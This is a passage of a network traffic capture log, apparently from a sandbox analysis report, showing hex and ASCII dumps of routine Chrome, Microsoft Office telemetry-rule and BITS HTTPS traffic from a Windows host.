2024-11-29 18:49:19 UTC	1202	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-29 18:49:19 UTC	800	IN	Data Raw: 33 31 39 0d 0a 4d 31 32 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c Data Ascii: 319M12,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,
2024-11-29 18:49:19 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 51 63 20 67 62 5f 4f 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 31 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 42 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c Data Ascii: 8000\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003e\u003cdiv class\u003d\"gb_Qc gb_Oc\"\u003e\u003cdiv class\u003d\"gb_1c\"\u003e\u003cdiv class\u003d\"gb_Bc\"\u003e\u003cdiv cl
2024-11-29 18:49:19 UTC	1390	IN	Data Raw: 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 41 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 42 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 29 3b 41 64 5c 75 30 30 32 36 5c 75 30 30 32 36 21 42 64 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 7a 64 28 5f 2e 6a 64 2c 41 64 2c 5c 22 63 6c 69 63 6b 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 5f 2e 43 64 5c 75 30 30 33 64 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 21 5c 75 30 30 33 Data Ascii: {_._DumpException(e)}\ntry{\nvar Ad\u003ddocument.querySelector(\".gb_I .gb_A\"),Bd\u003ddocument.querySelector(\"#gb.gb_Rc\");Ad\u0026\u0026!Bd\u0026\u0026_.zd(_.jd,Ad,\"click\");\n}catch(e){_._DumpException(e)}\ntry{\n_.Cd\u003dtypeof AsyncContext!\u003
2024-11-29 18:49:20 UTC	1390	IN	Data Raw: 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 Data Ascii: \u003dnew _.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d
2024-11-29 18:49:20 UTC	1390	IN	Data Raw: 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c Data Ascii: ,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),
2024-11-29 18:49:20 UTC	1390	IN	Data Raw: 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 70 61 6e 5c 22 2c 74 79 70 65 3a 5c 22 74 79 70 65 5c 22 2c 75 73 65 6d 61 70 3a 5c 22 75 73 65 4d 61 70 5c 22 2c 76 61 6c 69 67 6e 3a 5c 22 76 41 6c 69 67 6e 5c 22 2c 77 69 64 74 68 3a 5c 22 77 69 64 74 68 5c 22 7d 3b 5c 6e 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 62 5b 31 5d 2c 64 5c 75 30 30 33 64 5f 2e 6f 65 28 61 2c 53 74 72 69 6e 67 28 62 5b 30 5d 29 29 3b 63 5c 75 30 30 32 36 5c 75 30 30 32 36 28 74 79 70 65 Data Ascii: :\"nonce\",role:\"role\",rowspan:\"rowSpan\",type:\"type\",usemap:\"useMap\",valign:\"vAlign\",width:\"width\"};\n_.ne\u003dfunction(a){return a?a.defaultView:window};_.qe\u003dfunction(a,b){const c\u003db[1],d\u003d_.oe(a,String(b[0]));c\u0026\u0026(type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	142.250.181.100	443	7108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-29 18:49:19 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 29 Nov 2024 18:49:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-29 18:49:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-29 18:49:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:21 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184921Z-174f7845968vqt9xhC1EWRgten000000109000000000hxpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:21 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-29 18:49:22 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	2.18.84.141	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
